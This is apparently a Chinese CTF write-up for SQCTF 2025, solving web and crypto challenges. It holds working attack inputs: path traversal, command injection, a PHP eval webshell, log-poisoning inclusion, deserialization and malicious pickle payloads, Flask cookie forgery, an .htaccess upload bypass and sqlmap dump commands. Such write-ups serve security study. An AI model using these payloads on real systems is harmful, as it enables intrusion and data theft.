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sqctf2025

web

ez_game

f12看前端代码

http://challenge.qsnctf.com:32386/flag.php?score=1000000

Through

过滤了../

我们双写绕过即可

index.php?file=..././..././..././..././..././..././..././flag

File_download

题目提示茶买袄(xml)，猜测web.xml泄露

help.txt提示访问DownloadServlet路由可以下载文件

发现flagmanager。

这里GET传参下载不了文件。bp发包，改成post传参。下载

下载class文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager extends HttpServlet {
    public FlagManager() {
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        System.out.println("Please input your flag: ");
        String str = sc.next();
        System.out.println("Your input is: ");
        System.out.println(str);
        char[] stringArr = str.toCharArray();
        Encrypt(stringArr);
    }

    public static void Encrypt(char[] arr) {
        ArrayList<Integer> Resultlist = new ArrayList();

        for(int i = 0; i < arr.length; ++i) {
            int result = arr[i] + 38 ^ 48;
            Resultlist.add(result);
        }

        int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
        ArrayList<Integer> Keylist = new ArrayList();

        for(int j = 0; j < key.length; ++j) {
            Keylist.add(key[j]);
        }

        System.out.println("Result: ");
        if (Resultlist.equals(Keylist)) {
            System.out.println("Congratulations! ");
        } else {
            System.out.println("Error! ");
        }

    }
}

deepseek一把梭了

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag1 = []
for num in key:
    # 逆向运算： (num ^ 48) - 38
    original_char = (num ^ 48) - 38
    flag1.append(chr(original_char))

print("Flag:", "".join(flag1))

key1 = [
    110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
    105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
    186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
    106, 188, 109, 186, 111, 188
]

flag = ''

for k in key1:
    c = (k ^ 48) - 38
    flag += chr(c)

print("Flag:", flag)

Flag: 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

商师一日游

进去让你访问/atc1acrd.html

查看源码

第二关

曲奇饼提示cookie

第三关f12看网络

第四关robots协议

第五关

 $a=$_GET['hhh'];
        if(preg_match('/^php$/im', $a)){
            if(preg_match('/^php$/i', $a)){
                echo 'hacker';
            }
            else{
                echo xxxxxxxxxxx;
            }
        }
        else{
            echo 'nonononono';
        }

正则m可以匹配多行。换行绕过

http://challenge.qsnctf.com:31777/atc5uupl.php?hhh=qwe%0Aphp

第六关是个按钮

前端删掉disabled

第七关直接给后门

@eval($_POST['memory']);

命令执行即可

baby include

ctfshow有差不多的题。

AU头一句话木马，然后文件包含日志文件

My Blog

dirsearch扫到有login.php

页面点击github会自动跳转到file.pdf

登录即可

唯一

ssti,fenjing一把梭

Upload_Level1

文件后缀有限制，bp改一下就行

eeaassyy

看源码用view-source即可

逃

 <?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
    $black_list=array("flag","php");
    return str_replace($black_list,"stop",$payload);
}
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
    }
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
    echo "逃出来了, 恭喜恭喜<br>";
    echo $flag;
}
?>

pswd变成escaping即可

<?php
class test{
    var $user = 'test';
    var $pswd = 'escaping';
}
$a= new test();
echo serialize($a);
?>

嘿嘿嘿

 <?php
highlight_file(__FILE__);

class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }

    public function __destruct() {
        if ($this->file && $this->content) {
            if (strpos($this->file, 'flag') !== false) {
                die("No flag file!");
            }
            if (file_exists($this->file)) {
                die("File already exists!");
            }
            file_put_contents($this->file, $this->content);
        }
    }
}

class xxx {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __toString() {
        return $this->data;
    }
}

class yyy {
    public $path;
    public $allowed;

    public function __construct($path, $allowed) {
        $this->path = $path;
        $this->allowed = $allowed;
    }

    public function __toString() {
        if ($this->allowed) {
            return file_get_contents($this->path);
        } else {
            return "Access Denied!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = unserialize($_POST['data']);

    if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
        die("No cheating!");
    }

    if (strpos($data->file, 'php://') !== false) {
        die("No php protocol!");
    }

    if ($data->content === "GET_FLAG") {
        echo "Flag: " . file_get_contents("flag.php");
    }
}
?>

看着多，只要一个类就行了

<?php
highlight_file(__FILE__);

class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }

}
$a=new hhh("flg1.txt","GET_FLAG");
echo serialize($a);
?>

post传

data=O:3:"hhh":2:{s:4:"file";s:8:"flg1.txt";s:7:"content";s:8:"GET_FLAG";}

查看源代码即可

ping

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];

    if (strpos($ip, ';') !== false) {
        die('Hacker detected!');
    }

    system("ping -c 1 " . $ip);
} else {

    highlight_file(__FILE__);
}
?>

命令执行，不能用;截断，用管道符||即可

http://challenge.qsnctf.com:30700/?ip=||cat%20/f*

RceMe

<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
    system($command);
} else {
    print("你小子干什么呢？");
}

长度限制为5，用nl命令全部输出即可

http://challenge.qsnctf.com:31278/?com=nl%20/*

小小查询系统

sql注入，工具一把锁

python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch --dbs
python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch -D ctf --tables
python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch -D ctf -T flag  --dump

Input a number

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
    $num = $_GET['sqctf'];
    if($num==114514){
        die("逸一时, 误一世!");
    }
    if(intval($num,0)==114514){
        echo $flag;
    }else{
        echo "看看你输入的数字: ".intval($num,0);
    }
}

?>

科学计数法绕过即可114514e10会被理解成114514×10的10次方

http://challenge.qsnctf.com:31583/?sqctf=114514e10

baby rce

 <?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
    if(sha1($param1) == sha1($param2)){
        $token = true;
        echo "Level 1 passn";
    }
}

class TYctf{
    public $person = 20;
    public $computer_number = 30;

    function getNumber(){
        if(isset($this->person)) {
            echo $this->person;
        }
    }
    function isFullUse(){
        if($this->person != $this->computer_number){
            echo "computer is lacking !!!n";
        }
        else{
            echo "computer is enough !!!n";
        }
    }
    static function getKey(){
        include ("flag.php");
        echo "Level 2 passn";
        echo "You are winner, this is your reward: n";
        echo $flag;
    }
}

if($token){
    call_user_func($_POST['payload']);
}

?>

sha1碰撞。找到两个字符加密后为0e开头即可，网上一搜一大推

call_user_func可以调用函数

get:?param1=aaO8zKZF&param2=aaK1STfY
post:payload=TYctf::getKey

Upload_Level2

放包后还有一个跳转路由，我们还要再改一下

放包即可

Ez_calculate

gpt写个小爬虫计算一下即可

import requests
from bs4 import BeautifulSoup
import re
# 模拟浏览器头
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
# 目标地址（替换为真实挑战网址）
url = "http://challenge.qsnctf.com:32088/"
# 创建会话
session = requests.Session()
# 1. 获取页面
response = session.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
# 2. 提取数学表达式
challenge_div = soup.find('div', class_='challenge')
expression = challenge_div.text.strip()
# 3. 计算结果
try:
    result = eval(expression)
except Exception as e:
    print("表达式解析失败：", e)
    exit()

print(f"表达式: {expression} = {result}")
# 4. 提交 POST 表单
post_data = {
    'value': result
}
submit_response = session.post(url, data=post_data, headers=headers)
# 5. 打印响应内容（是否成功）
print("提交完成，响应内容：")
print(submit_response.text)

然后访问/flag即可

白月光

输入{{7*7}}返回49。可能还是ssti

fenjing一把嗦

无参之舞

给了账号sqctf。我们bp爆破密码

302这个回显长度不对，试一下就是密码

进去页面试一下echo和file_get_contents可以用。直接读源码


<?php
session_start();

// 用户数据库（明文存储）
$valid_username = 'sqctf';
$valid_password = '1q2w3e4r';

// 禁用危险函数
ini_set('disable_functions', 'exec,passthru,shell_exec,system,proc_open,popen');

// 登录处理

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input_user = $_POST['username'] ?? '';
    $input_pass = $_POST['password'] ?? '';

       // 简单凭证验证
    if ($input_user === $valid_username && $input_pass === $valid_password) {
        $_SESSION['authenticated'] = true;
    // 设置立即过期cookie确保浏览器不留痕迹
        setcookie(session_name(), session_id(), [
            'expires' => 0,
            'path' => '/',
            'secure' => true,
            'httponly' => true,
            'samesite' => 'Strict'
        ]);

        header('Location: /');
        exit();
    } else {
        // 销毁失败尝试的会话
        session_unset();
        session_destroy();
        $error = "用户名或密码错误";
        $login_error = true;
    }
}
// 显示登录界面
if (!isset($_SESSION['authenticated'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>系统登录</title>
        <style>
            /* 儿时不懂这家传术法，要义怎是须斩断牵挂，不过初识这世间繁华，却要教我怎样告别他，七十五支残蜡，和七十六束火花，在指缝间留下，烫穿侥幸的年华，他们褪色的画，落成碑上的霜花，薪尽后将火传下，当赤团开出花，矗立在彼岸悬崖，花下奈落之底，身后灯火万家，当幽蝶飞向他，含笑将晚霞披挂，只盼望川奔流，稍回我牵挂，当死门风如鸦，归去何必惧怕，此去若化红梅，且向春山播撒，当命数已抵达，今日方觉我似他，来年若蝶归，替我吻向新芽，当离别开出花，裹着再见的谎话，总有少年攥紧，浸透生死的砂，万魂织就锦霞，轻抚千帆再归家，星槎载满月华，温暖了伤疤，当英雄开成花，绘出璃月繁华，他们笑而不语，却欣慰这回答，托举霄灯明霞，拂过青丝与白发，谁曾化春风，换人间春无涯。我才不会告诉你用户名是sqctf呢^_^！ */
            body {
                font-family: 'Microsoft YaHei', sans-serif;
                background: url('/bg.jpg') no-repeat center center fixed;
                background-size: cover;
                margin: 0;
                padding: 0;
                height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
            }
            .login-container {
                background-color: rgba(255, 255, 255, 0.9);
                padding: 30px;
                border-radius: 10px;
                box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
                width: 350px;
                text-align: center;
            }
            .login-title {
                color: #333;
                margin-bottom: 20px;
                font-size: 24px;
            }
            .input-group {
                margin-bottom: 15px;
                text-align: left;
            }
            .input-group input {
                width: 100%;
                padding: 10px;
                border: 1px solid #ddd;
                border-radius: 4px;
                box-sizing: border-box;
            }
            .login-btn {
                background-color: #4CAF50;
                color: white;
                border: none;
                padding: 12px;
                width: 100%;
                border-radius: 4px;
                cursor: pointer;
                font-size: 16px;
            }
            .error-msg {
                color: #f44336;
                margin-bottom: 15px;
            }
        </style>
        <script>
            // 终极禁用方案
            document.addEventListener('DOMContentLoaded', function() {
                // 禁用右键
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);

                // 禁用键盘操作
                const bannedKeys = [8,9,16,17,18,19,20,27,33,34,35,36,37,38,39,40,45,46,91,92,93,112,113,114,115,116,117,118,119,120,121,122,123,124,125];
                document.addEventListener('keydown', function(e) {
                    // 禁用功能键
                    if (bannedKeys.includes(e.keyCode) || e.ctrlKey || e.altKey || e.metaKey) {
                        e.preventDefault();
                        return false;
                    }

                    // 特殊组合键
                    if (e.ctrlKey && (e.key === 'u' || e.key === 's' || e.key === 'i')) {
                        e.preventDefault();
                        return false;
                    }
                }, false);

                // 禁用开发者工具
                setInterval(function() {
                    if (window.outerWidth - window.innerWidth > 100 || 
                        window.outerHeight - window.innerHeight > 100) {
                        window.close();
                    }
                }, 1000);

                // 禁用F12
                Object.defineProperty(document, 'onkeydown', {
                    get: () => function() { return false; }
                });
            });
        </script>
    </head>
    <head>
    <!-- 禁用浏览器缓存 -->
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
</head>
    <body>
        <div class="login-container">
            <div class="login-title">系统登录</div>
            <?php if (isset($login_error)): ?>
                <div class="error-msg">用户名或密码错误</div>
            <?php endif; ?>
            <form method="POST">
                <div class="input-group">
                    <input type="text" name="username" placeholder="用户名" required>
                </div>
                <div class="input-group">
                    <input type="password" name="password" placeholder="密码" required>
                </div>
                <button type="submit" class="login-btn">登 录</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}
include "flag.php";
echo "flag在哪里呢？，请告诉我<br>";

if (isset($_GET['exp'])) {
    // 防止直接文件包含
    if (preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
        die("别想读flag");
    }
    if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log|read|file|dir|open|scandir|var|loc|conv|rot/i', $_GET['exp'])){
        die("不可以哒！");
    }
    // 防止直接函数调用
    if (preg_match('/[a-zA-Z_]+ $/', $_GET['exp'])) {
        die("再好好想想！");
    }

    // 防止敏感函数调用
    $forbidden_functions = [
        'eval', 'assert', 'create_function', 'call_user_func', 'call_user_func_array', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec', 'pcntl_fork', 'pcntl_waitpid', 'pcntl_wait','pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'highlight_file', 'readgzfile', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'preg_replace', 'ereg_replace', 'str_replace', 'strtr', 'str_rot13', 'base64_decode', 'urldecode', 'chr', 'ord', 'unpack', 'pack', 'gzinflate', 'gzuncompress', 'gzdecode', 'array_shift', 'show_source'
    ];

    foreach ($forbidden_functions as $func) {
        if (stripos($_GET['exp'], $func) !== false) {
            die("还差一点哦！");
        }
    }

    // 防止正则表达式绕过
    if (preg_match('/preg_replace|ereg_replace/i', $_GET['exp'])) {
        die("再好好想想！");
    }
    if (preg_match('/$w+|b(eval|exec|system|shell_exec|passthru)b/', $_GET['exp'])) {
    die("非法输入！");
}
    // 防止字符串拼接绕过
    if (preg_match('/.s*[a-zA-Z_]+s* $/', $_GET['exp'])) {
        die("再好好想想！");
    }
    if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
        die("缺少了一点东西哦");
    }
    // 防止变量函数调用
    if (preg_match('/$w+s* $/', $_GET['exp'])) {
        die("再好好想想！");
    }

    // 如果通过以上检查，则执行代码
    @eval($_GET['exp']);
} else {
    echo "请输入参数 exp 来尝试获取 flag！";
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>安全挑战</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .challenge-box {
            background: white;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .result-box {
            background: #f0f0f0;
            padding: 15px;
            margin-top: 20px;
            border-left: 3px solid #4CAF50;
            white-space: pre-wrap;
        }
    </style>
</head>

<body>
    <div class="challenge-box">
        <h1>RCE挑战</h1>
        <p>你能突破这道防线吗？尝试构造特殊的输入来获取flag。</p>
        <p><strong>提示：</strong>系统只接受特定的rce函数调用</p>

        <?php if(isset($_GET['exp'])): ?>
            <div class="result-box">
                <?php if(!empty($output)): ?>
                    <?php echo nl2br(htmlspecialchars($output, ENT_QUOTES, 'UTF-8')); ?>
                <?php else: ?>
                    命令已执行
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </div>
</body>
</html><!DOCTYPE html>
<html>
<head>
    <title>安全挑战</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .challenge-box {
            background: white;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .result-box {
            background: #f0f0f0;
            padding: 15px;
            margin-top: 20px;
            border-left: 3px solid #4CAF50;
            white-space: pre-wrap;
        }
    </style>
</head>

<body>
    <div class="challenge-box">
        <h1>RCE挑战</h1>
        <p>你能突破这道防线吗？尝试构造特殊的输入来获取flag。</p>
        <p><strong>提示：</strong>系统只接受特定的rce函数调用</p>

                    <div class="result-box">
                                    命令已执行
                            </div>
            </div>
</body>
</html>

flag.php是个假flag。

我们用scandir函数看目录文件，然后再读取

http://challenge.qsnctf.com:30846/?exp=print_r(scandir(%22/var/www/html%22));
http://challenge.qsnctf.com:30846/?exp=echo%20file_get_contents(%22f1ag.php%22);

哎呀大大大黑塔

看pv，猜很久，最后发现是视频pv号：BV1tXckehEd3

 <?php
class Secret {
    public $key;
    public function __construct($key) {
        $this->key = $key;
    }
    public function __destruct() {
        if ($this->key === "SQCTF") {
            include "./flag.php";
            echo "flag : ".$flag;
        } else {
            echo "Try harder!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = $_POST['data'];
    $obj = unserialize($data);
} else {
    highlight_file(__FILE__);
}
?>

简单反序列化

<?php
class Secret {
    public $key;
    public function __construct($key) {
        $this->key = $key;
    }

} 
$a=new Secret("SQCTF");
echo serialize($a);

伪装

源码：

# 导入必要的模块
from flask import Flask, session, request, render_template_string  # Flask核心模块
import flask  # Flask框架
import os  # 操作系统接口

# 创建Flask应用实例
app = Flask(__name__)
# 设置会话加密密钥（实际生产环境应使用更复杂的随机字符串）
app.secret_key = 'love'

# 定义根路由'/'的处理函数
@app.route('/')
def index():
    # 在会话(session)中设置默认角色信息
    session['role'] = {
        'is_admin': 0,  # 0表示非管理员
        'name': 'aiyamaya'  # 默认用户名
    }

    # 读取当前Python文件内容
    with open(__file__, 'r') as file:
        code = file.read()

    # 返回当前文件的源代码（存在安全隐患，不应在生产环境这样做）
    return code

# 定义管理员路由'/admin'的处理函数
@app.route('/admin')
def admin_handler():
    try:
        # 从会话中获取角色信息
        role = session.get('role')
        # 验证role是否为字典类型
        if not isinstance(role, dict):
            raise Exception  # 如果不是字典则抛出异常
    except Exception:
        # 捕获异常，返回未授权访问提示
        return 'Without you, you are an intruder!'

    # 检查是否为管理员(sjx)且具有管理员权限(is_admin=1)
    if role.get('is_admin') == 1 and role.get('name') == 'sjx':
        # 执行系统命令读取flag文件（存在命令注入风险）
        flag = os.popen("cat /flag").read()
        # 构造包含flag的消息
        message = "Oh, You get me! The flag is: %s" % flag
        # 渲染并返回消息
        return render_template_string(message)
    else:
        # 权限不足提示
        return "Error: You don't have the power!"

# 主程序入口
if __name__ == '__main__':
    # 运行Flask应用，监听所有网络接口的80端口
    app.run(host='0.0.0.0', port=80)

jwt伪造，密钥为love。jwt.io网站改的我都不会用了nnd。上脚本吧

from itsdangerous import URLSafeTimedSerializer

secret_key = 'love'  # 与目标应用相同的密钥
salt = 'cookie-session'  # Flask 默认的 salt

# 创建序列化器
serializer = URLSafeTimedSerializer(
    secret_key,
    salt=salt,
    serializer=None,  # 默认使用 itsdangerous 的 JSON 序列化
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)

# 伪造会话数据
forged_session_data = {
    'role': {
        'is_admin': 1,
        'name': 'sjx'
    }
}

# 生成伪造的会话 Cookie
forged_cookie = serializer.dumps(forged_session_data)
print("伪造的会话 Cookie:", forged_cookie)

Are you from SQNU?

post方法

传参

添加referer头

改UA头

加XFF头

加cookie

Look for the homepage

dirsearch没扫出来，御剑扫出来了。challenge.php

代码

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

// 怎么在不知道flag.php中的code和flag的情况下绕过?  我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
  $pass1 = (String)$_GET['pass1'];
  $pass2 = (String)$_GET['pass2'];
  $verify_code = (String)$_GET['verify'];

  if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
    echo "Level1 Passn";
    echo "关关难过关关过 !!!";
    if(isset($_POST['value1'])){
      $value1 = $_POST['value1'];
      $value3 = $_GET['value3'];

      parse_str($value1,$a);

      if($a['fly']==md5($value3)){
        echo "Level2 Passn";
        echo $flag;
      }
    }
    else{
      echo "想想看parse_str是干嘛的来着n";
    }
  }
  else{
    echo "你小子就是这样绕过的吗 ???n";
  }
}

第一关，应该有管道符||，所以只要满足pass2=welcome即可。

parse_str($value1,$a);是个变量覆盖函数。我们利用这个函数让fly的值赋值为md5(value3)的值即可。

所以传参

图片展示功能

前后端都有检测，试一下GIF89a文件头也不行。但是可以上传.htaccess将文件解析为php

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

先上传shell.jpg

然后上传.htaccess文件。

最后命令执行

pickle

最简单的pickle反序列化。

import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        # 使用内置 open 函数
        return (
            eval,
            ('open("/flag").read()',)
        )

# 生成恶意pickle数据
def generate_payload():
    payload = pickle.dumps(Exploit())
    print("原始pickle数据:", payload)
    # Base64编码以便传输
    encoded = base64.b64encode(payload).decode()
    print("nBase64编码的payload:")
    print(encoded)
    return encoded

if __name__ == '__main__':
    generate_payload()

ggoodd

<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
    echo $flag;
}
?>

一个json一个post，注意json中是双引号

开发人员的小失误

一位开发人员对网站进行了修改，修改之前对sql文件进行了备份，但是因为他急着去吃饭，在走的时候好像忘记了些什么……

看到备份，大胆猜测肯定是备份文件可以访问。

访问/backup.sql下载下来，flag就在里面。

自私的小s

御剑扫描发现end.php

访问

 <?php
highlight_file(__FILE__);
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }

    function __destruct(){
        echo eval($this->value);
    }
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>

注意这里是私有变量，我们序列化会产生空格。不能用%00过滤，deepseek一下。利用S和0过滤

千差万别

读环境变量即可。md一开始读/proc/self/environ没用，研究了好久的题结果这样就出了。

view?doc=/proc/1/environ

crypto

base？

小白兔白又白

base91

base64

base62

from hex

rabbit key是233（提示b站，看一下是2233娘）

别阴阳我了行吗？

阴阳怪气解密即可

https://std.ac/yygq.js/

简单RSA

https://factordb.com/

这个网站分解出p和q，deepseek一把梭

from Crypto.Util.number import inverse, long_to_bytes

# 给定数据
e = 65537
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

# 分解 n (假设已经分解得到 p 和 q)
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261  # 示例，需替换
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753 # 示例，需替换

# 计算 phi(n)
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = inverse(e, phi)

# 解密
m = pow(c, d, n)

# 转换为 ASCII
flag = long_to_bytes(m)
print(flag)

春风得意马蹄疾

社会主义核心价值观解密，多解密几次即可

ezCRT

题目提示中国剩余定理

deepseek一把嗦

import math  # 添加这行
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

# 给定的数据
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 验证 n1, n2, n3 是否互质
assert math.gcd(n1, n2) == 1
assert math.gcd(n2, n3) == 1
